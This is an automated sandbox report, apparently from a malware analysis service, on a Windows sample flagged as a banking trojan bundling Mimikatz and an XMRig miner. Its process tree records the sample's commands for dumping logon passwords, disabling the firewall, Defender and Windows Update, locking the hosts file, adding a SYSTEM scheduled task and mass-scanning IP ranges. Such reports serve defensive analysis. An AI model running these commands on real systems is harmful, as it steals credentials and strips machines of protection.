Overview

overview

10

Static

static

10

be39eee061...0N.exe

windows7-x64

10

be39eee061...0N.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    120s
  • max time network
    120s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14-08-2024 09:17

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    be39eee061b537d07af1ec1962941cb0N.exe

  • Size

    8.0MB

  • MD5

    be39eee061b537d07af1ec1962941cb0

  • SHA1

    73a4afe4903f49c22a9f0ad372f5df064110f0db

  • SHA256

    2d863e66ad6728b7f3f2e59b35111aa23db632628e602e357a0f11e2c89ce0d1

  • SHA512

    a7514467f6fc5fa31cb9e68641168d221339aab406d9e528ccaff16b837c5b8afcfcd3195d013b03cdb8d138f43733d4ffca7819421b31484752622a7c36a184

  • SSDEEP

    98304:IaAXTBJYaEmknGzZr+HaOKSVPFtmOZ9G1j5v/nZVnivsAl0oroSCa:IpXTYFmknGzwHaOtVPHd90X/nivPlS

Score
10/10
blackmoonmimikatzxmrigbankercredential_accessdefense_evasiondiscoveryevasionexecutionminerpersistenceprivilege_escalationtrojanupx

Malware Config

Signatures

  • Blackmoon, KrBanker

    Blackmoon also known as KrBanker is banking trojan first discovered in early 2014.

    trojanbankerblackmoon
  • Detect Blackmoon payload 4 IoCs
  • Disables service(s) 3 TTPs
    evasionexecution
  • Mimikatz

    mimikatz is an open source tool to dump credentials on Windows.

    mimikatz
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • Contacts a large (46738) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • OS Credential Dumping: LSASS Memory 1 TTPs

    Malicious access to Credentials History.

    credential_access
  • XMRig Miner payload 8 IoCs
    miner
  • mimikatz is an open source tool to dump credentials on Windows 6 IoCs
  • Drops file in Drivers directory 3 IoCs
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 44 IoCs
    persistence
  • Executes dropped EXE 10 IoCs
  • Loads dropped DLL 12 IoCs
  • UPX packed file 13 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Indicator Removal: Clear Persistence 1 TTPs 1 IoCs

    remove IFEO.

    defense_evasion
  • Network Share Discovery 1 TTPs

    Attempt to gather information on host network.

    discovery
  • Creates a Windows Service
    persistence
  • Drops file in System32 directory 11 IoCs
  • Drops file in Program Files directory 3 IoCs
  • Drops file in Windows directory 44 IoCs
  • Launches sc.exe 4 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 42 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

    discovery
  • NSIS installer 3 IoCs
    installer
  • Modifies data under HKEY_USERS 8 IoCs
  • Modifies registry class 14 IoCs
  • Runs net.exe
  • Runs ping.exe 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 15 IoCs
  • Suspicious behavior: RenamesItself 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\System32\spoolsv.exe
    C:\Windows\System32\spoolsv.exe
    1⤵
      PID:1636
      • C:\Windows\TEMP\igepkltgc\nrrpkb.exe
        "C:\Windows\TEMP\igepkltgc\nrrpkb.exe"
        2⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:3736
    • C:\Users\Admin\AppData\Local\Temp\be39eee061b537d07af1ec1962941cb0N.exe
      "C:\Users\Admin\AppData\Local\Temp\be39eee061b537d07af1ec1962941cb0N.exe"
      1⤵
      • Drops file in Windows directory
      • Suspicious behavior: RenamesItself
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3732
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\petkgtib\itjrptq.exe
        2⤵
        • System Location Discovery: System Language Discovery
        • System Network Configuration Discovery: Internet Connection Discovery
        • Suspicious use of WriteProcessMemory
        PID:4708
        • C:\Windows\SysWOW64\PING.EXE
          ping 127.0.0.1 -n 5
          3⤵
          • System Location Discovery: System Language Discovery
          • System Network Configuration Discovery: Internet Connection Discovery
          • Runs ping.exe
          PID:2360
        • C:\Windows\petkgtib\itjrptq.exe
          C:\Windows\petkgtib\itjrptq.exe
          3⤵
          • Executes dropped EXE
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          PID:1780
    • C:\Windows\petkgtib\itjrptq.exe
      C:\Windows\petkgtib\itjrptq.exe
      1⤵
      • Suspicious use of NtCreateUserProcessOtherParentProcess
      • Drops file in Drivers directory
      • Event Triggered Execution: Image File Execution Options Injection
      • Executes dropped EXE
      • Indicator Removal: Clear Persistence
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Modifies data under HKEY_USERS
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:5068
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1000
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /S /D /c" echo Y"
          3⤵
          • System Location Discovery: System Language Discovery
          PID:2632
        • C:\Windows\SysWOW64\cacls.exe
          cacls C:\Windows\system32\drivers\etc\hosts /T /D users
          3⤵
          • System Location Discovery: System Language Discovery
          PID:5092
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /S /D /c" echo Y"
          3⤵
            PID:4060
          • C:\Windows\SysWOW64\cacls.exe
            cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
            3⤵
            • System Location Discovery: System Language Discovery
            PID:1252
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /S /D /c" echo Y"
            3⤵
            • System Location Discovery: System Language Discovery
            PID:1384
          • C:\Windows\SysWOW64\cacls.exe
            cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
            3⤵
            • System Location Discovery: System Language Discovery
            PID:3412
        • C:\Windows\SysWOW64\netsh.exe
          netsh ipsec static add policy name=Bastards description=FuckingBastards
          2⤵
          • Event Triggered Execution: Netsh Helper DLL
          • System Location Discovery: System Language Discovery
          PID:3976
        • C:\Windows\SysWOW64\netsh.exe
          netsh ipsec static add filteraction name=BastardsList action=block
          2⤵
          • Event Triggered Execution: Netsh Helper DLL
          • System Location Discovery: System Language Discovery
          PID:512
        • C:\Windows\SysWOW64\cmd.exe
          cmd /c C:\Windows\nltmiejuc\tkizkktep\wpcap.exe /S
          2⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:4452
          • C:\Windows\nltmiejuc\tkizkktep\wpcap.exe
            C:\Windows\nltmiejuc\tkizkktep\wpcap.exe /S
            3⤵
            • Drops file in Drivers directory
            • Executes dropped EXE
            • Loads dropped DLL
            • Drops file in System32 directory
            • Drops file in Program Files directory
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:4524
            • C:\Windows\SysWOW64\net.exe
              net stop "Boundary Meter"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:3904
              • C:\Windows\SysWOW64\net1.exe
                C:\Windows\system32\net1 stop "Boundary Meter"
                5⤵
                • System Location Discovery: System Language Discovery
                PID:2884
            • C:\Windows\SysWOW64\net.exe
              net stop "TrueSight Meter"
              4⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:3328
              • C:\Windows\SysWOW64\net1.exe
                C:\Windows\system32\net1 stop "TrueSight Meter"
                5⤵
                  PID:1464
              • C:\Windows\SysWOW64\net.exe
                net stop npf
                4⤵
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:3284
                • C:\Windows\SysWOW64\net1.exe
                  C:\Windows\system32\net1 stop npf
                  5⤵
                  • System Location Discovery: System Language Discovery
                  PID:3540
              • C:\Windows\SysWOW64\net.exe
                net start npf
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:632
                • C:\Windows\SysWOW64\net1.exe
                  C:\Windows\system32\net1 start npf
                  5⤵
                  • System Location Discovery: System Language Discovery
                  PID:4504
          • C:\Windows\SysWOW64\cmd.exe
            cmd /c net start npf
            2⤵
            • System Location Discovery: System Language Discovery
            PID:4208
            • C:\Windows\SysWOW64\net.exe
              net start npf
              3⤵
              • System Location Discovery: System Language Discovery
              PID:4716
              • C:\Windows\SysWOW64\net1.exe
                C:\Windows\system32\net1 start npf
                4⤵
                • System Location Discovery: System Language Discovery
                PID:5084
          • C:\Windows\SysWOW64\cmd.exe
            cmd /c net start npf
            2⤵
            • System Location Discovery: System Language Discovery
            PID:716
            • C:\Windows\SysWOW64\net.exe
              net start npf
              3⤵
              • System Location Discovery: System Language Discovery
              PID:4784
              • C:\Windows\SysWOW64\net1.exe
                C:\Windows\system32\net1 start npf
                4⤵
                • System Location Discovery: System Language Discovery
                PID:4116
          • C:\Windows\SysWOW64\cmd.exe
            cmd /c C:\Windows\nltmiejuc\tkizkktep\betrnkeic.exe -p 80 119.63.100.1-119.63.255.255 --rate=1024 -oJ C:\Windows\nltmiejuc\tkizkktep\Scant.txt
            2⤵
            • System Location Discovery: System Language Discovery
            PID:1952
            • C:\Windows\nltmiejuc\tkizkktep\betrnkeic.exe
              C:\Windows\nltmiejuc\tkizkktep\betrnkeic.exe -p 80 119.63.100.1-119.63.255.255 --rate=1024 -oJ C:\Windows\nltmiejuc\tkizkktep\Scant.txt
              3⤵
              • Executes dropped EXE
              • Loads dropped DLL
              PID:4544
          • C:\Windows\SysWOW64\cmd.exe
            cmd /c C:\Windows\nltmiejuc\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\nltmiejuc\Corporate\log.txt
            2⤵
            • Drops file in Windows directory
            • System Location Discovery: System Language Discovery
            PID:3612
            • C:\Windows\nltmiejuc\Corporate\vfshost.exe
              C:\Windows\nltmiejuc\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit
              3⤵
              • Executes dropped EXE
              • Suspicious use of AdjustPrivilegeToken
              PID:3444
          • C:\Windows\SysWOW64\cmd.exe
            cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "bcplhprrp" /ru system /tr "cmd /c C:\Windows\ime\itjrptq.exe"
            2⤵
            • System Location Discovery: System Language Discovery
            PID:512
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /S /D /c" echo Y"
              3⤵
              • System Location Discovery: System Language Discovery
              PID:4100
            • C:\Windows\SysWOW64\schtasks.exe
              schtasks /create /sc minute /mo 1 /tn "bcplhprrp" /ru system /tr "cmd /c C:\Windows\ime\itjrptq.exe"
              3⤵
              • Scheduled Task/Job: Scheduled Task
              PID:692
          • C:\Windows\SysWOW64\cmd.exe
            cmd.exe /c C:\Windows\nltmiejuc\tkizkktep\scan.bat
            2⤵
            • System Location Discovery: System Language Discovery
            PID:1392
            • C:\Windows\nltmiejuc\tkizkktep\ipcffikhn.exe
              ipcffikhn.exe TCP 194.110.0.1 194.110.255.255 445 512 /save
              3⤵
              • Executes dropped EXE
              • Drops file in Windows directory
              • System Location Discovery: System Language Discovery
              PID:2132
          • C:\Windows\SysWOW64\netsh.exe
            netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP
            2⤵
            • Event Triggered Execution: Netsh Helper DLL
            • System Location Discovery: System Language Discovery
            PID:4896
          • C:\Windows\SysWOW64\netsh.exe
            netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP
            2⤵
            • Event Triggered Execution: Netsh Helper DLL
            PID:4432
          • C:\Windows\SysWOW64\netsh.exe
            netsh ipsec static add rule name=FuckingBastards policy=Bastards filterlist=BastardsList filteraction=BastardsList
            2⤵
            • Event Triggered Execution: Netsh Helper DLL
            PID:3200
          • C:\Windows\SysWOW64\netsh.exe
            netsh ipsec static set policy name=Bastards assign=y
            2⤵
            • Event Triggered Execution: Netsh Helper DLL
            • System Location Discovery: System Language Discovery
            PID:5272
          • C:\Windows\SysWOW64\netsh.exe
            netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP
            2⤵
            • Event Triggered Execution: Netsh Helper DLL
            • System Location Discovery: System Language Discovery
            PID:5916
          • C:\Windows\SysWOW64\netsh.exe
            netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP
            2⤵
            • Event Triggered Execution: Netsh Helper DLL
            • System Location Discovery: System Language Discovery
            PID:5868
          • C:\Windows\SysWOW64\netsh.exe
            netsh ipsec static add rule name=FuckingBastards policy=Bastards filterlist=BastardsList filteraction=BastardsList
            2⤵
            • Event Triggered Execution: Netsh Helper DLL
            • System Location Discovery: System Language Discovery
            PID:5880
          • C:\Windows\SysWOW64\netsh.exe
            netsh ipsec static set policy name=Bastards assign=y
            2⤵
            • Event Triggered Execution: Netsh Helper DLL
            PID:800
          • C:\Windows\SysWOW64\netsh.exe
            netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP
            2⤵
            • Event Triggered Execution: Netsh Helper DLL
            • System Location Discovery: System Language Discovery
            PID:4504
          • C:\Windows\SysWOW64\netsh.exe
            netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP
            2⤵
            • Event Triggered Execution: Netsh Helper DLL
            • System Location Discovery: System Language Discovery
            PID:2648
          • C:\Windows\SysWOW64\netsh.exe
            netsh ipsec static add rule name=FuckingBastards policy=Bastards filterlist=BastardsList filteraction=BastardsList
            2⤵
            • Event Triggered Execution: Netsh Helper DLL
            • System Location Discovery: System Language Discovery
            PID:5232
          • C:\Windows\SysWOW64\netsh.exe
            netsh ipsec static set policy name=Bastards assign=y
            2⤵
            • Event Triggered Execution: Netsh Helper DLL
            • System Location Discovery: System Language Discovery
            PID:5484
          • C:\Windows\SysWOW64\cmd.exe
            cmd /c net stop SharedAccess
            2⤵
            • System Location Discovery: System Language Discovery
            PID:4896
            • C:\Windows\SysWOW64\net.exe
              net stop SharedAccess
              3⤵
              • System Location Discovery: System Language Discovery
              PID:5484
              • C:\Windows\SysWOW64\net1.exe
                C:\Windows\system32\net1 stop SharedAccess
                4⤵
                • System Location Discovery: System Language Discovery
                PID:5456
          • C:\Windows\SysWOW64\cmd.exe
            cmd /c netsh firewall set opmode mode=disable
            2⤵
              PID:1924
              • C:\Windows\SysWOW64\svchost.exe
                C:\Windows\system32\svchost.exe netsh firewall set opmode mode=disable
                3⤵
                  PID:5480
              • C:\Windows\SysWOW64\cmd.exe
                cmd /c netsh Advfirewall set allprofiles state off
                2⤵
                  PID:6128
                  • C:\Windows\SysWOW64\svchost.exe
                    C:\Windows\system32\svchost.exe netsh Advfirewall set allprofiles state off
                    3⤵
                      PID:6140
                  • C:\Windows\SysWOW64\cmd.exe
                    cmd /c net stop MpsSvc
                    2⤵
                    • System Location Discovery: System Language Discovery
                    PID:5460
                    • C:\Windows\SysWOW64\net.exe
                      net stop MpsSvc
                      3⤵
                      • System Location Discovery: System Language Discovery
                      PID:6336
                      • C:\Windows\SysWOW64\net1.exe
                        C:\Windows\system32\net1 stop MpsSvc
                        4⤵
                        • System Location Discovery: System Language Discovery
                        PID:6380
                  • C:\Windows\SysWOW64\cmd.exe
                    cmd /c net stop WinDefend
                    2⤵
                    • System Location Discovery: System Language Discovery
                    PID:5456
                    • C:\Windows\SysWOW64\net.exe
                      net stop WinDefend
                      3⤵
                      • System Location Discovery: System Language Discovery
                      PID:6320
                      • C:\Windows\SysWOW64\net1.exe
                        C:\Windows\system32\net1 stop WinDefend
                        4⤵
                        • System Location Discovery: System Language Discovery
                        PID:6356
                  • C:\Windows\SysWOW64\cmd.exe
                    cmd /c net stop wuauserv
                    2⤵
                    • System Location Discovery: System Language Discovery
                    PID:5480
                    • C:\Windows\System32\Conhost.exe
                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                      3⤵
                        PID:6140
                      • C:\Windows\SysWOW64\net.exe
                        net stop wuauserv
                        3⤵
                        • System Location Discovery: System Language Discovery
                        PID:6416
                        • C:\Windows\SysWOW64\net1.exe
                          C:\Windows\system32\net1 stop wuauserv
                          4⤵
                          • System Location Discovery: System Language Discovery
                          PID:6444
                    • C:\Windows\SysWOW64\cmd.exe
                      cmd /c sc config MpsSvc start= disabled
                      2⤵
                      • System Location Discovery: System Language Discovery
                      PID:5716
                      • C:\Windows\SysWOW64\sc.exe
                        sc config MpsSvc start= disabled
                        3⤵
                        • Launches sc.exe
                        • System Location Discovery: System Language Discovery
                        PID:6408
                    • C:\Windows\SysWOW64\cmd.exe
                      cmd /c sc config SharedAccess start= disabled
                      2⤵
                        PID:6040
                        • C:\Windows\SysWOW64\sc.exe
                          sc config SharedAccess start= disabled
                          3⤵
                          • Launches sc.exe
                          • System Location Discovery: System Language Discovery
                          PID:6328
                      • C:\Windows\SysWOW64\cmd.exe
                        cmd /c sc config WinDefend start= disabled
                        2⤵
                        • System Location Discovery: System Language Discovery
                        PID:5992
                        • C:\Windows\SysWOW64\sc.exe
                          sc config WinDefend start= disabled
                          3⤵
                          • Launches sc.exe
                          • System Location Discovery: System Language Discovery
                          PID:6428
                      • C:\Windows\SysWOW64\cmd.exe
                        cmd /c sc config wuauserv start= disabled
                        2⤵
                        • System Location Discovery: System Language Discovery
                        PID:5632
                        • C:\Windows\SysWOW64\sc.exe
                          sc config wuauserv start= disabled
                          3⤵
                          • Launches sc.exe
                          • System Location Discovery: System Language Discovery
                          PID:6348
                      • C:\Windows\TEMP\rxtrust.exe
                        C:\Windows\TEMP\rxtrust.exe
                        2⤵
                        • Executes dropped EXE
                        • Drops file in System32 directory
                        • System Location Discovery: System Language Discovery
                        • Suspicious use of SetWindowsHookEx
                        PID:6496
                      • C:\Windows\SysWOW64\cmd.exe
                        cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
                        2⤵
                        • System Location Discovery: System Language Discovery
                        PID:5644
                        • C:\Windows\SysWOW64\cmd.exe
                          C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                          3⤵
                          • System Location Discovery: System Language Discovery
                          PID:2156
                        • C:\Windows\SysWOW64\cacls.exe
                          cacls C:\Windows\system32\drivers\etc\hosts /T /D users
                          3⤵
                          • System Location Discovery: System Language Discovery
                          PID:5260
                        • C:\Windows\SysWOW64\cmd.exe
                          C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                          3⤵
                            PID:5544
                          • C:\Windows\SysWOW64\cacls.exe
                            cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
                            3⤵
                            • System Location Discovery: System Language Discovery
                            PID:2292
                          • C:\Windows\SysWOW64\cmd.exe
                            C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                            3⤵
                            • System Location Discovery: System Language Discovery
                            PID:2340
                          • C:\Windows\SysWOW64\cacls.exe
                            cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
                            3⤵
                              PID:5976
                        • C:\Windows\SysWOW64\xcllyg.exe
                          C:\Windows\SysWOW64\xcllyg.exe
                          1⤵
                          • Executes dropped EXE
                          • System Location Discovery: System Language Discovery
                          • Suspicious use of SetWindowsHookEx
                          PID:6392
                        • C:\Windows\system32\cmd.EXE
                          C:\Windows\system32\cmd.EXE /c C:\Windows\ime\itjrptq.exe
                          1⤵
                            PID:948
                            • C:\Windows\ime\itjrptq.exe
                              C:\Windows\ime\itjrptq.exe
                              2⤵
                              • Executes dropped EXE
                              • Suspicious use of SetWindowsHookEx
                              PID:4324

                          Network

                          MITRE ATT&CK Enterprise v15

                          Reconnaissance

                          Resource Development

                          Initial Access

                          Execution

                          Scheduled Task/Job

                          1
                          T1053

                          Scheduled Task

                          1
                          T1053.005

                          System Services

                          1
                          T1569

                          Service Execution

                          1
                          T1569.002

                          Persistence

                          Create or Modify System Process

                          1
                          T1543

                          Windows Service

                          1
                          T1543.003

                          Event Triggered Execution

                          2
                          T1546

                          Image File Execution Options Injection

                          1
                          T1546.012

                          Netsh Helper DLL

                          1
                          T1546.007

                          Scheduled Task/Job

                          1
                          T1053

                          Scheduled Task

                          1
                          T1053.005

                          Privilege Escalation

                          Create or Modify System Process

                          1
                          T1543

                          Windows Service

                          1
                          T1543.003

                          Event Triggered Execution

                          2
                          T1546

                          Image File Execution Options Injection

                          1
                          T1546.012

                          Netsh Helper DLL

                          1
                          T1546.007

                          Scheduled Task/Job

                          1
                          T1053

                          Scheduled Task

                          1
                          T1053.005

                          Defense Evasion

                          Indicator Removal

                          1
                          T1070

                          Clear Persistence

                          1
                          T1070.009

                          Credential Access

                          OS Credential Dumping

                          1
                          T1003

                          LSASS Memory

                          1
                          T1003.001

                          Discovery

                          Network Service Discovery

                          2
                          T1046

                          Network Share Discovery

                          1
                          T1135

                          Query Registry

                          1
                          T1012

                          Remote System Discovery

                          1
                          T1018

                          System Information Discovery

                          1
                          T1082

                          System Location Discovery

                          1
                          T1614

                          System Language Discovery

                          1
                          T1614.001

                          System Network Configuration Discovery

                          1
                          T1016

                          Internet Connection Discovery

                          1
                          T1016.001

                          Lateral Movement

                          Collection

                          Command and Control

                          Exfiltration

                          Impact

                          Service Stop

                          1
                          T1489

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          • C:\Windows\SysWOW64\Packet.dll
                            Filesize

                            95KB

                            MD5

                            86316be34481c1ed5b792169312673fd

                            SHA1

                            6ccde3a8c76879e49b34e4abb3b8dfaf7a9d77b5

                            SHA256

                            49656c178b17198470ad6906e9ee0865f16f01c1dbbf11c613b55a07246a7918

                            SHA512

                            3a6e77c39942b89f3f149e9527ab8a9eb39f55ac18a9db3a3922dfb294beb0760d10ca12be0e3a3854ff7dabbe2df18c52e3696874623a2a9c5dc74b29a860bc

                            Download Submit

                          • C:\Windows\SysWOW64\wpcap.dll
                            Filesize

                            275KB

                            MD5

                            4633b298d57014627831ccac89a2c50b

                            SHA1

                            e5f449766722c5c25fa02b065d22a854b6a32a5b

                            SHA256

                            b967e4dce952f9232592e4c1753516081438702a53424005642700522055dbc9

                            SHA512

                            29590fa5f72e6a36f2b72fc2a2cca35ee41554e13c9995198e740608975621142395d4b2e057db4314edf95520fd32aae8db066444d8d8db0fd06c391111c6d3

                            Download Submit

                          • C:\Windows\TEMP\igepkltgc\config.json
                            Filesize

                            689B

                            MD5

                            569c23dd0c8e6be4f9837fc16b303703

                            SHA1

                            f9591f19ae1fa12fd6dab04f9375011c89adae3a

                            SHA256

                            86e7f4aa281e9bc0f783b667bf10321bfd551785e9ceccb8503ec43c861813d6

                            SHA512

                            66083161de0444d735399ba05bcfca32a9e5e16a1134d3982fc232a9c4f19bb56caf8bb6e23204f116acf7e0b1c146f8fd7a1a61ed40545bb7935827edd2e74d

                            Download Submit

                          • C:\Windows\Temp\igepkltgc\nrrpkb.exe
                            Filesize

                            343KB

                            MD5

                            2b4ac7b362261cb3f6f9583751708064

                            SHA1

                            b93693b19ebc99da8a007fed1a45c01c5071fb7f

                            SHA256

                            a5a0268c15e00692a08af62e99347f6e37ee189e9db3925ebf60835e67aa7d23

                            SHA512

                            c154d2c6e809b0b48cc2529ea5745dc4fc3ddd82f8f9d0f7f827ff5590868c560d7bec42636cb61e27cc1c9b4ac2499d3657262826bbe0baa50f66b40e28b616

                            Download Submit

                          • C:\Windows\Temp\nsmF176.tmp\System.dll
                            Filesize

                            11KB

                            MD5

                            2ae993a2ffec0c137eb51c8832691bcb

                            SHA1

                            98e0b37b7c14890f8a599f35678af5e9435906e1

                            SHA256

                            681382f3134de5c6272a49dd13651c8c201b89c247b471191496e7335702fa59

                            SHA512

                            2501371eb09c01746119305ba080f3b8c41e64535ff09cee4f51322530366d0bd5322ea5290a466356598027e6cda8ab360caef62dcaf560d630742e2dd9bcd9

                            Download Submit

                          • C:\Windows\Temp\nsmF176.tmp\nsExec.dll
                            Filesize

                            6KB

                            MD5

                            b648c78981c02c434d6a04d4422a6198

                            SHA1

                            74d99eed1eae76c7f43454c01cdb7030e5772fc2

                            SHA256

                            3e3d516d4f28948a474704d5dc9907dbe39e3b3f98e7299f536337278c59c5c9

                            SHA512

                            219c88c0ef9fd6e3be34c56d8458443e695badd27861d74c486143306a94b8318e6593bf4da81421e88e4539b238557dd4fe1f5bedf3ecec59727917099e90d2

                            Download Submit

                          • C:\Windows\Temp\rxtrust.exe
                            Filesize

                            72KB

                            MD5

                            fc5b65cf9b456e0faba5f6f5a69ef462

                            SHA1

                            1e108343e1048a5c971212684de9402dd610a4a4

                            SHA256

                            c733e0d16741640a5c4da33b74cd755d68c54370477fc4267a40e2998e98e21c

                            SHA512

                            a387dabb37b761c9181bbc701fb23a6419685db1ebd2e7c09986e8d782102f47b52501856e7ea269bbfe7b6276d827b2d636194c7c34a42b5a0cb9d7aca662c8

                            Download Submit

                          • C:\Windows\nltmiejuc\Corporate\vfshost.exe
                            Filesize

                            381KB

                            MD5

                            fd5efccde59e94eec8bb2735aa577b2b

                            SHA1

                            51aaa248dc819d37f8b8e3213c5bdafc321a8412

                            SHA256

                            441430308fa25ec04fd913666f5e0748fdb10743984656d55acc26542e5fff45

                            SHA512

                            74a7eebdee9d25a306be83cb3568622ea9c1b557a8fbb86945331209bdc884e48113c3d01aac5347d88b8d2f786f8929aa6bb55d80516f3b4f9cc0f18362e8e3

                            Download Submit

                          • C:\Windows\nltmiejuc\tkizkktep\betrnkeic.exe
                            Filesize

                            332KB

                            MD5

                            ea774c81fe7b5d9708caa278cf3f3c68

                            SHA1

                            fc09f3b838289271a0e744412f5f6f3d9cf26cee

                            SHA256

                            4883500a1bdb7ca43749635749f6a0ec0750909743bde3a2bc1bfc09d088ca38

                            SHA512

                            7cfde964c1c62759e3ba53c47495839e307ba0419d740fcacbeda1956dcee3b51b3cf39e6891120c72d0aae48e3ea1019c385eb5006061ced89f33b15faa8acb

                            Download Submit

                          • C:\Windows\nltmiejuc\tkizkktep\ip.txt
                            Filesize

                            193B

                            MD5

                            63ebdca42e636dae3211c9b508977975

                            SHA1

                            3a854abdec98dcc9a27df05834f391b90d6ef1d7

                            SHA256

                            a7e2ee0ab9b36c88c535a4ee54ce6f4f76391a7847b214fdac00bc7208147a63

                            SHA512

                            7cbe32467d031f1f2889929fbdca57004a6eb5b453fd77326fe2ef24bb6e9a5f667ae8c94f6ff089e651d4711cd26a2df84182d718f854bfe9377b3631016a2e

                            Download Submit

                          • C:\Windows\nltmiejuc\tkizkktep\ipcffikhn.exe
                            Filesize

                            63KB

                            MD5

                            821ea58e3e9b6539ff0affd40e59f962

                            SHA1

                            635a301d847f3a2e85f21f7ee12add7692873569

                            SHA256

                            a06d135690ec5c5c753dd6cb8b4fe9bc8d23ca073ef9c0d8bb1b4b54271f56bb

                            SHA512

                            0d08235781b81ff9e0a75f0e220a8d368d95ee75bf482670e83696e59d991aad68310ae7fa677ac96ffad1f97b3ec7d7208dc26d2edb111c39213b32502b82f6

                            Download Submit

                          • C:\Windows\nltmiejuc\tkizkktep\scan.bat
                            Filesize

                            159B

                            MD5

                            4679c64ef443af1c6530aab045c0050c

                            SHA1

                            428ba79d5862152a0544b0e36c1f384f5636f7be

                            SHA256

                            f19bc8336304656862b5cd016ae16d51e6574a4c6e58526c8fce5b7a7e050284

                            SHA512

                            158160db7cfaa0670d8f90e53276d7633fc9bd64def124ca7a0b2133951bacee369eece312afe17d454129fbe2939e4a04a3173f5b221dee1df43c5bd4e0b780

                            Download Submit

                          • C:\Windows\nltmiejuc\tkizkktep\wpcap.exe
                            Filesize

                            424KB

                            MD5

                            e9c001647c67e12666f27f9984778ad6

                            SHA1

                            51961af0a52a2cc3ff2c4149f8d7011490051977

                            SHA256

                            7ec51f4041f887ba1d4241054f3be8b5068291902bada033081eff7144ec6a6d

                            SHA512

                            56f0cff114def2aeda0c2c8bd9b3abcacef906187a253ea4d943b3f1e1ca52c452d82851348883288467a8c9a09d014910c062325964bcfe9618d7b58056e1fe

                            Download Submit

                          • C:\Windows\petkgtib\itjrptq.exe
                            Filesize

                            8.0MB

